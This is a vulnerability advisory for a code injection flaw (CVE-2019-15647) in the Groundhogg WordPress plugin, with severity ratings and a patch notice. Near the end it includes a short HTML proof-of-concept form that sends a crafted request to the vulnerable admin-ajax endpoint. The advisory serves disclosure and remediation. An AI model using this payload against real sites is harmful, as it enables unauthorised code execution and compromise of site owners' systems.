SB2019082717 - Remote code execution in Groundhogg plugin for WordPress



SB2019082717 - Remote code execution in Groundhogg plugin for WordPress

Published: August 27, 2019 Updated: October 25, 2019

Security Bulletin ID SB2019082717
CSH Severity
High
Patch available
YES
Number of vulnerabilities 1
Exploitation vector Remote access
Highest impact Code execution

Breakdown by Severity

High 100%
  • Low
  • Medium
  • High
  • Critical

Description

This security bulletin contains information about 1 vulnerability.


1) Code Injection (CVE-ID: CVE-2019-15647)

CWE-ID: CWE-94 - Improper Control of Generation of Code ('Code Injection')

CVSSv4: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/U:Amber


The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation in "wp-admin/admin-ajax.php?action=bulk_action_listener" URL. A remote authenticated attacker can send a specially crafted request and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

PoC:

<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php?action=bulk_action_listener" method="POST">
<input type="hidden" name="bulk_action" value="do_feed_rss" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Remediation

Install update from vendor's website.